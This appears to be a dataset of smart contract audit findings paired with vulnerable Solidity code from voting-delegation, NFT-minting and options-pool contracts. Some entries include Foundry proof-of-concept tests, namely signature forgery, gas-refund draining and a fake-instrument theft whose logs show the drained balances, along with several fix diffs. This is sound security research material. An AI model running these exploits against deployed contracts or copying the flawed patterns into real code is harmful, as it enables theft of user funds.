Farseen0/scar-pairs huggingface dataset:
HIGH severity: Malicious user can have Proxy sign arbitrary data. ProxyV2.sol implements EIP1271, where `isValidSignature()` can be called with a hash and a signature, and returns 0x1626ba7e if the contract considers the signature valid.

This is done by calling `Alligator.isValidProxySignature()`. In the case where a signature is included as an argument, this...

Vulnerable code:
function isValidProxySignature(
    address proxy,
    Rules calldata proxyRules,
    bytes32 hash,
    bytes calldata data
) public view returns (bytes4 magicValue) {
    if (data.length > 0) {
        (address[] memory authority, bytes memory signature) = abi.decode(data, (address[], bytes));
        address signer = ECDSA.recover(hash, signature);
        validate(proxyRules, signer, authority, PERMISSION_SIGN, 0, 0xFE);
        return IERC1271.isValidSignature.selector;
    }
    return validSignatures[proxy][hash] ? IERC1271.isValidSignature.selector : bytes4(0);
}

import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

function testZach__SigningBug() public {
    // create an address from private key = 0x01 that should have no authority
    uint PRIVATE_KEY = 1;
    address signer = vm.addr(PRIVATE_KEY);

    // sign any message with that private key
    bytes32 hash = keccak256(abi.encodePacked("i can make you sign anything"));
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(PRIVATE_KEY, hash);
    bytes memory signature = abi.encodePacked(r, s, v);

    // set the authority chain to be only my own address
    address[] memory authority = new address[](1);
    authority[0] = signer;

    // create the signature data, which consists of authority chain and signature
    bytes memory digest = abi.encode(authority, signature);

    // confirm that the proxy will accept the signature
    assertEq(IERC1271(root).isValidSignature(hash, digest), IERC1271.isValidSignature.selector);
}

if (proxy != proxyAddress(authority[0], proxyRules)) revert InvalidAuthorityChain;
HIGH severity: Alligator gives gas refunds but does not receive gas refunds. The `AlligatorV2.sol` contract has a function `castRefundableVotesWithReasonBatched()` which tracks the gas used and provides a refund to the user. This mirrors the functionality used by `NounsLogicV2` to provide voting refunds.

However, while Alligator can provide refunds, there's no way for it...

Vulnerable code:
function castRefundableVotesWithReasonBatched(
    Rules[] calldata proxyRules,
    address[][] calldata authorities,
    uint256 proposalId,
    uint8 support,
    string calldata reason
) external whenNotPaused {
    uint256 startGas = gasleft();
    castVotesWithReasonBatched(proxyRules, authorities, proposalId, support, reason);
    _refundGas(startGas);
}

function castVotesWithReasonBatched(
    Rules[] calldata proxyRules,
    address[][] calldata authorities,
    uint256 proposalId,
    uint8 support,
    string calldata reason
) public whenNotPaused {
    address[] memory proxies = new address[](authorities.length);
    address[] memory authority;
    Rules memory rules;

    for (uint256 i; i < authorities.length; ) {
        authority = authorities[i];
        rules = proxyRules[i];
        validate(rules, msg.sender, authority, PERMISSION_VOTE, proposalId, support);
        proxies[i] = proxyAddress(authority[0], rules);
        INounsDAOV2(proxies[i]).castVoteWithReason(proposalId, support, reason);

        unchecked {
            ++i;
        }
    }

    emit VotesCast(proxies, msg.sender, authorities, proposalId, support);
}
HIGH severity: Gas refunds can be abused by batching transactions. The refund mechanism assumes a `REFUND_BASE_GAS` value of 36k to account for the overhead gas that occurs outside of the tracked gas. Specifically, this accounts for the 20k gas to kick off the transaction, 7k for the ETH transfer, and other gas spent before `startGas` or within the `_refundGas()`.....

Vulnerable code:
function testZach__StealUsingRefund() public {
    vm.deal(address(alligator), 10 ether);

    address[] memory authority1 = new address[](2);
    authority1[0] = address(this);
    authority1[1] = address(Utils.alice);

    address[][] memory authorities1 = new address[][](1);
    authorities1[0] = authority1;

    address[] memory authority2 = new address[](2);
    authority2[0] = address(Utils.bob);
    authority2[1] = address(Utils.alice);

    address[][] memory authorities2 = new address[][](1);
    authorities2[0] = authority2;

    address[][][] memory authorities = new address[][][](2);
    authorities[0] = authorities1;
    authorities[1] = authorities2;

    Rules[] memory baseRulesBatch = new Rules[](2);
    baseRulesBatch[0] = baseRules;
    baseRulesBatch[1] = baseRules;

    alligator.subDelegateAll(Utils.alice, baseRules);
    alligator.create(Utils.bob, baseRules, true); // selfProxy

    vm.prank(Utils.bob);
    alligator.subDelegateAll(Utils.alice, baseRules);

    uint balanceBefore = Utils.alice.balance;
    uint gasBefore = gasleft();

    vm.startPrank(Utils.alice, Utils.alice);
    for (uint i = 0; i < 2; i++) {
        alligator.castRefundableVotesWithReasonBatched(baseRulesBatch, authorities[i], 1, 1, "");
    }

    uint gasAfter = gasleft();

    // Adjust Alice balance as if she paid for gas
    uint gasUsed = gasBefore - gasAfter;
    uint gasCost = gasUsed * tx.gasprice;
    uint balanceAfter = Utils.alice.balance - gasCost;
    uint profit = balanceAfter - balanceBefore;

    console.log("Gas Money Spent: ", (gasBefore - gasAfter) * tx.gasprice);
    console.log("Gas Money Refunded: ", Utils.alice.balance - balanceBefore);
    console.log("Profit (in gwei): ", profit);
}
LOW severity: Check for array length equality in subDelegateAllBatched. In `subDelegateAllBatched()`, the user submits two arrays: `targets` and `subDelegateRules`. We then create a delegation to each target for the corresponding set of rules.

There is no check that these arrays are equal in length. As a result, if `targets > subDelegateRules`, the final targets will.....

Vulnerable code:
function subDelegateAllBatched(address[] calldata targets, Rules[] calldata subDelegateRules) external {
+   if (targets.length != subDelegateRules.length) revert MismatchedArrays();
    for (uint256 i; i < targets.length; ) {
        subDelegations[msg.sender][targets[i]] = subDelegateRules[i];

        unchecked {
            ++i;
        }
    }
    emit SubDelegations(msg.sender, targets, subDelegateRules);
}
LOW severity: User may unexpectedly perform refund transaction without getting refund. _[Note: This is an issue with the fix to [H-01], not with the original code in the provided commit.]_

In `NounsDAOLogicV2.sol`, refunds are only provided if the voter actually has votes. Otherwise, the refund is silently skipped.

This makes sense in the case of Nouns, as the user will not be...

Vulnerable code:
function castRefundableVoteInternal(
    uint256 proposalId,
    uint8 support,
    string memory reason
) internal {
    uint256 startGas = gasleft();
    uint96 votes = castVoteInternal(msg.sender, proposalId, support);
    emit VoteCast(msg.sender, proposalId, support, votes, reason);
    if (votes > 0) {
        _refundGas(startGas);
    }
}
HIGH severity: Anyone can frontrun fixed price signature mints to waste claim ticket. When NFTs are minted using the `FixedPriceSignatureMinterV2.sol` contract, the user is able to input any quantity to mint. As long as this amount is less than the quantity that has been signed for, the transaction will succeed and the claim ticket will be used up.

The signed ticket includes the...

Vulnerable code:
bytes32 digest = keccak256(
    abi.encodePacked(
        "\x19\x01",
        DOMAIN_SEPARATOR(),
        keccak256(abi.encode(MINT_TYPEHASH, to, mintId, claimTicket, signedQuantity, affiliate))
    )
);
MEDIUM severity: Affiliate payment are skipped if incorrect or empty proof is accidentally submitted. When an NFT is minted, the user has the option to submit an `affiliate` and an `affiliate proof`.

The `_mintTo()` function performs the following logic to send the affiliate fee:

As we can see, if `t.affiliated` is false, the payout is simply skipped. To determine whether `t.affiliated` is true,.....

Vulnerable code:
t.affiliated = isAffiliatedWithProof(edition, mintId, affiliate, affiliateProof);
unchecked {
    if (t.affiliated) {
        // Compute the affiliate fee.
        t.affiliateFee = (t.totalPrice * uint256(baseData.affiliateFeeBPS)) / uint256(BPS_DENOMINATOR);
        // Deduct the affiliate fee from the remaining payment.
        // Won't underflow as `affiliateFee <= remainingPayment`.
        t.remainingPayment -= t.affiliateFee;
        // Increment the affiliate fees accrued.
        affiliateFeesAccrued[affiliate] = SafeCastLib.toUint128(
            uint256(affiliateFeesAccrued[affiliate]) + t.affiliateFee
        );
    }
}

function isAffiliatedWithProof(
    address edition,
    uint128 mintId,
    address affiliate,
    bytes32[] calldata affiliateProof
) public view virtual override returns (bool) {
    bytes32 root = _getBaseData(edition, mintId).affiliateMerkleRoot;
    // If the root is empty, then use the default logic.
    if (root == bytes32(0)) {
        return affiliate != address(0);
    }
    // Otherwise, check if the affiliate is in the Merkle tree.
    // The check that that affiliate is not a zero address is to prevent libraries
    // that fill up partial Merkle trees with empty leafs from screwing things up.
    return
        affiliate != address(0) &&
        MerkleProofLib.verifyCalldata(affiliateProof, root, _keccak256EncodePacked(affiliate));
}

function mint(
    address edition,
    uint128 mintId,
    uint32 quantity,
    address affiliate
) public payable {
    mintTo(edition, mintId, msg.sender, quantity, affiliate, MerkleProofLib.emptyProof(), 0);
}
MEDIUM severity: All fees accrue to minters, which can be forked to use platform without fees. All platform fees accrue on the minters, rather than the core `SoundEditionV1_2.sol` contract. These contracts allow the Sound team to set platform fees (both a percentage and a flat fee), and then withhold them from mint fees as follows:

However, the Sound front end is populated based on...

Vulnerable code:
unchecked {
    t.platformFlatFee = uint256(quantity) * uint256(platformFlatFee);
    t.totalPrice = totalPrice(edition, mintId, to, quantity);
    t.requiredEtherValue = t.totalPrice + t.platformFlatFee;

    // Reverts if the payment is not enough.
    if (msg.value < t.requiredEtherValue) revert Underpaid(msg.value, t.requiredEtherValue);

    // Compute the platform fee.
    t.platformFee = (t.totalPrice * uint256(platformFeeBPS)) / uint256(BPS_DENOMINATOR) + t.platformFlatFee;
    // Increment the platform fees accrued.
    platformFeesAccrued = SafeCastLib.toUint128(uint256(platformFeesAccrued) + t.platformFee);
    // Deduct the platform fee.
    // Won't underflow as `platformFee <= requiredEtherValue`;
    t.remainingPayment = t.requiredEtherValue - t.platformFee;
}

function grantRoles(address user, uint256 roles) public payable virtual onlyOwner {
    _grantRoles(user, roles);
}

function _grantRoles(address user, uint256 roles) internal virtual {
    /// @solidity memory-safe-assembly
    assembly {
        // Compute the role slot.
        mstore(0x0c, _ROLE_SLOT_SEED)
        mstore(0x00, user)
        let roleSlot := keccak256(0x0c, 0x20)
        // Load the current value and `or` it with `roles`.
        roles := or(sload(roleSlot), roles)
        // Store the new value.
        sstore(roleSlot, roles)
        // Emit the {RolesUpdated} event.
        log3(0, 0, _ROLES_UPDATED_EVENT_SIGNATURE, shr(96, mload(0x0c)), roles)
    }
}
MEDIUM severity: Potentially unsafe use of forceSafeTransferETH. When a new NFT is minted with the `_mintTo()` function, we check that `msg.value >= t.requiredEtherValue` and then refund the excess at the end of the function using `forceSafeTransferETH()`:

This function works by attempting to send the value to the address and, if it fails, creating a temporary.....

Vulnerable code:
if (msg.value > t.requiredEtherValue) {
    SafeTransferLib.forceSafeTransferETH(msg.sender, msg.value - t.requiredEtherValue);
}

function forceSafeTransferETH(address to, uint256 amount) internal {
    // Manually inlined because the compiler doesn't inline functions with branches.
    /// @solidity memory-safe-assembly
    assembly {
        // If insufficient balance, revert.
        if lt(selfbalance(), amount) {
            // Store the function selector of `ETHTransferFailed()`.
            mstore(0x00, 0xb12d13eb)
            // Revert with (offset, size).
            revert(0x1c, 0x04)
        }
        // Transfer the ETH and check if it succeeded or not.
        if iszero(call(_GAS_STIPEND_NO_GRIEF, to, amount, 0, 0, 0, 0)) {
            mstore(0x00, to) // Store the address in scratch space.
            mstore8(0x0b, 0x73) // Opcode `PUSH20`.
            mstore8(0x20, 0xff) // Opcode `SELFDESTRUCT`.
            // We can directly use `SELFDESTRUCT` in the contract creation.
            // Compatible with `SENDALL`: https://eips.ethereum.org/EIPS/eip-4758
            pop(create(amount, 0x0b, 0x16))
        }
    }
}
LOW severity: Admin can frontrun and rug affiliates. The admin has the ability to set the affiliate fee and affiliate merkle root at any time, using the following functions:

When new NFTs are minted, the `_mintTo()` function calculates the affiliate fee on the fly and adds this to the affiliate's pending payouts.

This creates the possibility for...

Vulnerable code:
function setAffiliateFee(
    address edition,
    uint128 mintId,
    uint16 bps
) public virtual override onlyEditionOwnerOrAdmin(edition) {
    if (bps > MAX_AFFILIATE_FEE_BPS) revert InvalidAffiliateFeeBPS();
    _getBaseData(edition, mintId).affiliateFeeBPS = bps;
    emit AffiliateFeeSet(edition, mintId, bps);
}

function setAffiliateMerkleRoot(
    address edition,
    uint128 mintId,
    bytes32 root
) public virtual override onlyEditionOwnerOrAdmin(edition) {
    _getBaseData(edition, mintId).affiliateMerkleRoot = root;
    emit AffiliateMerkleRootSet(edition, mintId, root);
}

t.affiliated = isAffiliatedWithProof(edition, mintId, affiliate, affiliateProof);
unchecked {
    if (t.affiliated) {
        // Compute the affiliate fee.
        t.affiliateFee = (t.totalPrice * uint256(baseData.affiliateFeeBPS)) / uint256(BPS_DENOMINATOR);
        // Deduct the affiliate fee from the remaining payment.
        // Won't underflow as `affiliateFee <= remainingPayment`.
        t.remainingPayment -= t.affiliateFee;
        // Increment the affiliate fees accrued.
        affiliateFeesAccrued[affiliate] = SafeCastLib.toUint128(
            uint256(affiliateFeesAccrued[affiliate]) + t.affiliateFee
        );
    }
}
LOW severity: Platform flat fee can be set to any value with no cap. The platform fee that Sound collects is charged in two portions:

- The platform fee is a percentage of the total sale price
- The platform flat fee is a flat price per NFT minted paid to the platform

When the platform fee is set, there is a restriction to ensure it doesn't go above a hardcoded...

Vulnerable code:
function setPlatformFee(uint16 bps) public onlyOwner {
    if (bps > MAX_PLATFORM_FEE_BPS) revert InvalidPlatformFeeBPS();
    platformFeeBPS = bps;
    emit PlatformFeeSet(bps);
}

function setPlatformFlatFee(uint96 flatFee) public onlyOwner {
    platformFlatFee = flatFee;
    emit PlatformFlatFeeSet(flatFee);
}
HIGH severity: Users with open bids can have wallets emptied due to insufficient parameter validation. The `optionInstrumentationAddress` that is inputted by the seller as an argument to the `sellOption()` function is used for all checks within the function. The `optionMarketAddress` that is a part of the signed order is ignored, and the two are not validated against one another.

Because of this...

Vulnerable code:
contract FakeInstrument {
    function getStrikePrice(uint id) public pure returns (uint) {
        return 1;
    }

    function getExpiration(uint id) public view returns (uint) {
        return block.timestamp + 79 days;
    }

    function safeTransferFrom(address from, address to, uint id) public {}
}

function testZach__StealWithFakeInstrument() public {
    vm.warp(block.timestamp + 20 days);
    PoolOrders.Order memory order = _makeDefaultOrder();
    (Signatures.Signature memory signature, bytes32 orderHash) = _signOrder(order, bidderPkey);

    address fakeInstrument = address(new FakeInstrument());

    console.log("Victim Starting Balance: ", weth.balanceOf(address(bidder)));
    console.log("Attacker Starting Balance: ", weth.balanceOf(address(seller)));

    vm.prank(address(seller));
    bidPool.sellOption(
        order,
        signature,
        _makeAssetPriceClaim(50 ether),
        _makeOrderClaim(orderHash),
        47.5 ether,
        fakeInstrument,
        0
    );

    console.log("Victim Ending Balance: ", weth.balanceOf(address(bidder)));
    console.log("Attacker Ending Balance: ", weth.balanceOf(address(seller)));
}

Logs:
  Victim Starting Balance:  50000000000000000000
  Attacker Starting Balance:  0
  Victim Ending Balance:  125000000000000000
  Attacker Ending Balance:  47500000000000000000
HIGH severity: BPS_TO_DECIMAL conversion is wrong, leading users to dramatically overpay for options. The constant value used to convert bips to decimals is defined as:

`10e14` is equivalent to `1e15`, which when multiplied by `10_000 bips` equals `1e19`, which is 10x higher than it should be.

The result is that the `decimalVol` and `rateDecimal` values calculated using this value are 10x...

Vulnerable code:
uint256 constant BPS_TO_DECIMAL = 10e14;

function testZach__ConversionMakesBidTooLow() public {
        vm.warp(block.timestamp + 20 days);

        uint TIME_TO_EXPIRY = 2 weeks;
        uint VOL_DEC = 0.5e18;
        uint SPOT_DEC = 10e18;
        uint STRIKE_DEC = 12e18;
        int RATE_DEC = 0.05e18;

        (uint call,) = BlackScholes.optionPrices(
            BlackScholes.BlackScholesInputs({
                timeToExpirySec: TIME_TO_EXPIRY,
                volatilityDecimal: VOL_DEC,
                spotDecimal: SPOT_DEC,
                strikePriceDecimal: STRIKE_DEC,
                rateDecimal: RATE_DEC
            })
        );

        (, uint bid) = bidPool._computeOptionAskAndBid(
            _makeDefaultOrder(),
            _makeAssetPriceClaim(SPOT_DEC),
            block.timestamp + TIME_TO_EXPIRY,
            STRIKE_DEC,
            10 ether
        );

        console.log(call);
        console.log(bid);
    }

-uint256 constant BPS_TO_DECIMAL = 10e14;
+uint256 constant BPS_TO_DECIMAL = 1e14;
HIGH severity: Incorrect adjustment for decimals in maxStrikePriceMultiple check. When comparing `order.maxStrikePriceMultiple` to the actual multiple by which the strike price exceeds the asset price, the calculation is performed as follows:

As we can see, the difference in price is multiplied by `10e18` before being divided by the current price.

`10e18` is equivalent to...

Vulnerable code:
require(
    order.maxStrikePriceMultiple == 0
        || (strikePrice - assetPrice.assetPriceInWei) * 10e18 / assetPrice.assetPriceInWei
            < order.maxStrikePriceMultiple,
    "option is too far out of the money"
);

require(
    order.maxStrikePriceMultiple == 0
-       || (strikePrice - assetPrice.assetPriceInWei) * 10e18 / assetPrice.assetPriceInWei
+       || (strikePrice - assetPrice.assetPriceInWei) * 1e18 / assetPrice.assetPriceInWei
            < order.maxStrikePriceMultiple,
    "option is too far out of the money"
);
MEDIUM severity: Both oracle signers can be set to address(0), which allows arbitrary data to be fraudulently signed. The `priceOracleSigner` is set using the following admin-only function:

Similarly, the `orderValidityOracleSigner` is set with this function:

There are no checks on what either of these values are set to.

While I'm not usually a fan of zero address checks (because in most cases, the zero...

Vulnerable code:
function setPriceOracleSigner(address _priceOracleSigner) external onlyRole(ORACLE_ROLE) {
    priceOracleSigner = _priceOracleSigner;
    emit PriceOracleSignerUpdated(_priceOracleSigner);
}

function setOrderValidityOracleSigner(address _orderValidityOracleSigner) external onlyRole(ORACLE_ROLE) {
    orderValidityOracleSigner = _orderValidityOracleSigner;
    emit OrderValidityOracleSignerUpdated(_orderValidityOracleSigner);
}

function _validateAssetPriceClaim(AssetPriceClaim calldata claim) internal view {
    bytes memory claimEncoded =
        abi.encode(claim.assetPriceInWei, claim.priceObservedTimestamp, claim.goodTilTimestamp);

    bytes32 claimHash = keccak256(claimEncoded);
    bytes32 prefixedHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", claimHash));

    address signer = ecrecover(prefixedHash, claim.v, claim.r, claim.s);

    require(signer == priceOracleSigner, "Claim is not signed by the priceOracle");
    require(claim.goodTilTimestamp > block.timestamp, "Claim is expired");
}
MEDIUM severity: maxStrikePriceMultiple will always fail when added in bips. `maxStrikePriceMultiple` is defined as how many bips out of the money an option can be filled at:

It is used in the following check:

This equality assumes that `maxStrikePriceMultiple` is calculated in decimals.

Therefore, any value that is set in bips will be far too small, and will fail the...

Vulnerable code:
/// @notice bips in the money or out of the money an option can be filled at. For example, 5000 == 50% out of the money max for a call option. 0 means no max
uint256 maxStrikePriceMultiple;

require(
    order.maxStrikePriceMultiple == 0
        || (strikePrice - assetPrice.assetPriceInWei) * 10e18 / assetPrice.assetPriceInWei
            < order.maxStrikePriceMultiple,
    "option is too far out of the money"
);
MEDIUM severity: verifyingContract set incorrectly for EIP712 Domain Separator. When the EIP712 Domain Separator is calculated, we input the `hookAddress` and perform the following function:

This correctly uses the name, version, chain id, and verifying contract to generator a domain separator to be used for all EIP 712 encoding.

However, if we look at `HookBidPool.sol` at...

Vulnerable code:
function setAddressForEipDomain(address hookAddress) internal {
    // Compute `EIP712_DOMAIN_SEPARATOR`
    {
        uint256 chainId;
        assembly {
            chainId := chainid()
        }
        EIP712_DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                keccak256(
                    "EIP712Domain(" "string name," "string version," "uint256 chainId," "address verifyingContract"
                    ")"
                ),
                keccak256("Hook"),
                keccak256("1.0.0"),
                chainId,
                hookAddress
            )
        );
    }
}

constructor(..., address _protocol) {
    ...
    setAddressForEipDomain(_protocol);
    ...
}

function setProtocol(address _protocol) external onlyRole(PROTOCOL_ROLE) {
    setAddressForEipDomain(_protocol);
    protocol = IHookProtocol(_protocol);
    emit ProtocolAddressSet(_protocol);
}
LOW severity: Setting role admins to self is not advised. HookBidPool defines four roles: ORACLE_ROLE, PAUSER_ROLE, PROTOCOL_ROLE, and FEES_ROLE. Each of these is set to the `_initialAdmin` in the constructor, with plans to transfer the roles to separate wallets:

The code above grants each of these roles to `_initialAdmin`, and also sets the role's...

Vulnerable code:
_grantRole(ORACLE_ROLE, _initialAdmin);
_setRoleAdmin(ORACLE_ROLE, ORACLE_ROLE);
_grantRole(PAUSER_ROLE, _initialAdmin);
_setRoleAdmin(PAUSER_ROLE, PAUSER_ROLE);
_grantRole(PROTOCOL_ROLE, _initialAdmin);
_setRoleAdmin(PROTOCOL_ROLE, PROTOCOL_ROLE);
_grantRole(FEES_ROLE, _initialAdmin);
_setRoleAdmin(FEES_ROLE, FEES_ROLE);

_grantRole(ORACLE_ROLE, _initialAdmin);
_grantRole(PAUSER_ROLE, _initialAdmin);
_grantRole(PROTOCOL_ROLE, _initialAdmin);
_grantRole(FEES_ROLE, _initialAdmin);
_grantRole(DEFAULT_ADMIN_ROLE, _initialAdmin);